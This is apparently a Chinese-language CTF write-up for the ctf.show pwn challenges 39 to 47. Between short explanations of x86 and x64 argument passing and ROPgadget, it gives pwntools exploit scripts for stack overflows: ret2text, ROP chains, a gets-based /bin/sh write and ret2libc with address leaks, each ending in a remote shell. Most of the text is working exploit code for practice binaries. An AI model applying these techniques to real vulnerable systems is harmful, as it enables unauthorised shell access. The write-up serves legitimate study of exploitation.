但是这里不是system(“/bin/sh”)了,而是将函数和参数分割,两者都在程序中,所以可以通过栈溢出自行构造完整后门,栈上传参

自行构造完整后门(调用链)对溢出长度有要求,至少要能溢出除ip以外再多2个机器字长(32位4 bit;64位8bit),用于写入调用步骤

1
2
3
4
5
6
7
8
9
10
11
12
#payload=[填充]+[system@plt]+[4bytes填充]+[参数]
from pwn import *

p = remote("pwn.challenge.ctf.show", "28113")

offset = 0x12 + 0x4
system_addr = 0x080483A0
binsh_addr = 0x8048750
payload = offset * b'a' + p32(system_addr) + b'aaaa' + p32(binsh_addr)

p.sendline(payload)
p.interactive()

pwn40

64位的 system(); “/bin/sh”
1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = remote("pwn.challenge.ctf.show","28227")

offset = 0x0A + 0x8
system_addr = 0x602080
binsh_addr = 0x400808
payload = offset*b'a' + p64(system_addr)+b'aaaaaaaa'+p64(binsh_addr)

p.sendline(payload)
p.interactive()

本来以为也是改一改就可以的,,但是错了。。

ROPgadget

这里介绍一下ROPgadget工具,该工具可以绕过NX保护,在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

64位汇编传参,当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 当参数为7个以上时,前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。

有的题,里面既没有现成的system也没有/bin/sh字符串,也没有提供libc.so给我们,那么我们要做的就是想办法泄露libc地址,拿到system函数和/bin/sh字符串;我们就需要获取rdi, rsi, rdx, rcx, r8, r9它们的地址,首先要获取的是rdi的地址。这就是 ROPgadget 的作用。

回到本题,下面利用ROPgadget获得rdi的地址

1
ROPgadget --binary pwn --only "pop|ret" | grep rdi

获取ret的地址

1
ROPgadget --binary pwn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#payload=[填充]+[pop_rdi_ret]+[参数]+[system@plt]
from pwn import *

p = remote("pwn.challenge.ctf.show", "28151")

offset = 0xA + 0x8
ret_addr = 0x00000000004004fe
system_addr = 0x400520
binsh_addr = 0x400808
rdi_addr = 0x00000000004007e3
payload = offset * b'a' + p64(rdi_addr) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr)
#这里ret_addr的作用是作为一个8字节的间接跳转指令,用于绕过栈中的返回地址,以达到执行system函数的目的
p.sendline(payload)
p.interactive()

1.pwn36-pwn38:完整后门&溢出长度大于等于ip。只要我们调用这个后门函数,不需要其他额外的操作就能getshell,通常是system(‘/bin/sh’),write(1,’flag’,32)等形式。

payload = [填充] + [get_shell_addr]

2.pwn39、wn40:残缺后门&溢出长度远大于ip。这里指的远大于ip,意思是可以溢出覆盖除了ip以外的2个以上的(一般情况,实际情况实际分析)机器字长。残缺后门的形式多种多样:提供诸如system等关键函数,flag、/bin/sh等字符串,某些gadget等。

1
2
payload=[填充]+[system@plt]+[4bit填充]+[参数]  #32位
payload=[填充]+[pop_rdi_ret]+[参数]+[system@plt] #64位

原文链接:https://blog.csdn.net/weixin_63576152/article/details/132437169

pwn41

32位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代

这里先介绍一下/bin/sh和/sh的区别:

system(“/bin/sh”) 是直接指定了系统默认的shell程序路径来执行命令,这种方式可以确保使用系统默认的shell程序执行命令,因为 /bin/sh 链接通常指向默认shell的可执行文件。 system(“sh”) 则会直接启动一个名为sh的shell程序,依赖系统的环境变量 $PATH 来查找 sh 可执行文件并执行。如果系统的环境变量设置正确,这两种方式是等效的;

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = remote('pwn.challenge.ctf.show','28297')

offset = 0x12 + 0x4
system = 0x80483D0
sh = 0x80487BA
payload = offset * b'a' + p32(system) + b'aaaa' + p32(sh)

p.sendline(payload)
p.interactive()

pwn42

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = remote('pwn.challenge.ctf.show','28235')

offset = 0x0A + 0x8
system_addr = 0x400560
sh_addr = 0x400872
rdi_addr = 0x400843
ret_addr = 0x40053e
payload = offset * b'a' + p64(rdi_addr) + p64(sh_addr) + p64(ret_addr) + p64(system_addr)

p.sendline(payload)
p.interactive()

pwn43

32位的 system(); 但是好像没”/bin/sh” 上面的办法不行了,想想办法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
payload = [填充] + p32(gets) + p32(pop_ebx) + p32(buf2) + p32(system_addr) + [4bytes填充] +p32(buf2)
#1.填充后溢出,执行gets函数,接收数据
#2.将数据从栈中弹出存入寄存器ebx中
#3.再用缓冲区指针buf2指向寄存器ebx的数据
#4.调用system函数,参数为buf2所指数据,即gets接收的数据
from pwn import *
p = remote('pwn.challenge.ctf.show','28280')

offset = 0x6c + 4
system_addr = 0x8048450
buf2 = 0x804B060
gets = 0x8048420
pop_ebx = 0x08048409
payload = offset * b'a' + p32(gets) + p32(pop_ebx) + p32(buf2) + p32(system_addr) + b'aaaa' +p32(buf2)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

pwn44

64位的 system(); 但是好像没”/bin/sh” 上面的办法不行了,想想办法

和上题一样,区别就是64位没有ebx寄存器,还需要用rdi代替,先找到地址

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p = remote('pwn.challenge.ctf.show','28209')

offset = 0xA + 8
system_addr = 0x400520
buf2 = 0x602080
gets = 0x400530
pop_rdi = 0x4007f3
payload = offset * b'a' + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(system_addr)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

1.利用 pop_rdi 指令将 buf2 的地址加载到rdi寄存器中,因为在调用gets函数之前,你需要将输入的缓冲区的地址(即buf2的地址)传递给gets函数,以便gets函数知道将输入数据存储在哪个缓冲区中 2.调用 gets 函数,以 buf2 的地址作为参数,从用户输入中读取数据,并将其存储在buf2中 3.再次利用 pop_rdi 指令将 buf2 的地址加载到rdi 寄存器中 4.调用 system 函数,以 buf2 的地址作为参数

pwn45

ret2libc

..。。打了一天没大通。算料。。

呃呃打通了。。。。(五分钟后觉得有问题。。

#正解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#right
from pwn import *
from LibcSearcher import *

p = remote("pwn.challenge.ctf.show", "28187")
elf = ELF("./pwn")
offset = 0x6B + 0x4
main_addr = elf.symbols['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
payload = offset * b'a' + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got)+ p32(4)
p.recvuntil('O.o?')
p.sendline(payload)

write_addr = u32(p.recvuntil('\xf7')[-4:])
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump("write")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

payload = offset * b'a' + p32(system_addr) + b'aaaa' + p32(binsh_addr)
p.sendline(payload)
p.recv()
p.interactive()

pwn46

?神奇,得先

1
2
3
checksec pwn
readelf -s pwn
objdump -R pwn

溜一遍?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')

io = remote('pwn.challenge.ctf.show',28141)
elf = ELF('./pwn')
write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.sym['main']
pop_rdi = 0x400803
pop_rsi_r15 = 0x400801

payload = cyclic(0x70+8) + p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(write_got) + p64(0)
payload += p64(write_plt)
payload += p64(main)

io.sendlineafter("O.o?",payload)
write = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(write)
libc = LibcSearcher('write',write)
libc_base = write - libc.dump('write')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = cyclic(0x70+8) + p64(pop_rdi) + p64(bin_sh) + p64(system)
io.sendlineafter("O.o?",payload)

io.interactive()

。。

ret2libc

pwn47

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from LibcSearcher import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28200)
elf = ELF('./pwn')
io.recvuntil("puts: ")
puts = eval(io.recvuntil("\n" , drop = True))
io.recvuntil("gift: ")
bin_sh = eval(io.recvuntil("\n" , drop = True))
libc = LibcSearcher("puts" , puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
paylad = "a"*(0x9c+4) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(paylad)
io.interactive()